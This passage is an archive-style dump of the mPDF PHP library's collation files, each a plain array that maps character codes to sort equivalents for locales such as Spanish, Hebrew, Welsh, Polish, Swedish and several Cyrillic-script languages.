69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Dominican_Republic.php000064400000002533147600022140020720 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Chile.php000064400000002533147600022140016216 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Hebrew_Israel.php000064400000001446147600022140016222 0ustar00 173, 1457 => 173, 1458 => 173, 1459 => 173, 1460 => 173, 1461 => 173, 1462 => 173, 1463 => 173, 1464 => 173, 1465 => 173, 1466 => 173, 1467 => 173, 1468 => 173, 1469 => 173, 1471 => 173, 1472 => 173, 1473 => 173, 1474 => 173, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1520 => 1493, 1521 => 1493, 1522 => 1497, 1499 => 1498, 1502 => 1501, 1504 => 1503, 1508 => 1507, 1510 => 1509, ]; vendor/mpdf/mpdf/data/collations/Sesotho_sa_Leboa_South_Africa.php000064400000002551147600022140021345 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Welsh_United_Kingdom.php000064400000002551147600022140017547 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 103 => 102, 70 => 102, 71 => 102, 402 => 102, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 222 => 254, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Invariant_Language_Invariant_Country.php000064400000002551147600022140023001 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Yakut_Russia.php000064400000002161147600022140016125 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1026 => 1106, 1044 => 1076, 1045 => 1077, 1025 => 1105, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Slovenian_Slovenia.php000064400000002557147600022140017311 0ustar00 711, 65 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 259 => 97, 258 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 268 => 269, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 272 => 273, 69 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 283 => 101, 282 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 328 => 110, 327 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 345 => 114, 344 => 114, 83 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 346 => 347, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 380 => 122, 379 => 122, 381 => 382, 377 => 378, ]; vendor/mpdf/mpdf/data/collations/English_Singapore.php000064400000002551147600022140017105 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Sami_(Northern)_Norway.php000064400000002347147600022140017740 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 224 => 97, 192 => 97, 227 => 97, 195 => 97, 193 => 225, 226 => 225, 194 => 225, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 339 => 111, 338 => 111, 213 => 245, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 223 => 115, 352 => 353, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 381 => 382, 198 => 230, 196 => 228, 216 => 248, 214 => 246, 197 => 229, ]; vendor/mpdf/mpdf/data/collations/Arabic_Pseudo_RTL.php000064400000001626147600022140016730 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Kinyarwanda_Rwanda.php000064400000002551147600022140017251 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Polish_Poland.php000064400000002523147600022140016237 0ustar00 711, 65 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 259 => 97, 258 => 97, 260 => 261, 66 => 98, 67 => 99, 269 => 99, 268 => 99, 231 => 99, 199 => 99, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 273 => 100, 272 => 100, 69 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 283 => 101, 282 => 101, 280 => 281, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 321 => 322, 77 => 109, 78 => 110, 328 => 110, 327 => 110, 323 => 324, 79 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 211 => 243, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 345 => 114, 344 => 114, 83 => 115, 353 => 115, 352 => 115, 351 => 115, 350 => 115, 223 => 115, 346 => 347, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 382 => 122, 381 => 122, 377 => 378, 379 => 380, ]; vendor/mpdf/mpdf/data/collations/Kyrgyz_Kyrgyzstan.php000064400000002201147600022140017241 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/French_Belgium.php000064400000002551147600022140016356 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Uzbek_(Latin)_Uzbekistan.php000064400000002515147600022140020234 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 287 => 103, 286 => 103, 72 => 104, 73 => 105, 305 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 304 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 351 => 115, 350 => 115, 223 => 115, 84 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 255 => 121, 376 => 121, 90 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Puerto_Rico.php000064400000002533147600022140017424 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Azeri_(Cyrillic)_Azerbaijan.php000064400000002201147600022140020650 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 88 => 120, 73 => 105, 74 => 106, 75 => 107, 81 => 113, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1067 => 1099, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Spanish_Panama.php000064400000002533147600022140016367 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Swedish_Sweden.php000064400000002521147600022140016415 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 86 => 118, 119 => 118, 87 => 118, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 252 => 121, 220 => 121, 90 => 122, 382 => 122, 381 => 122, 197 => 229, 196 => 228, 214 => 246, 248 => 246, 216 => 246, ]; vendor/mpdf/mpdf/data/collations/Arabic_Iraq.php000064400000001626147600022140015644 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 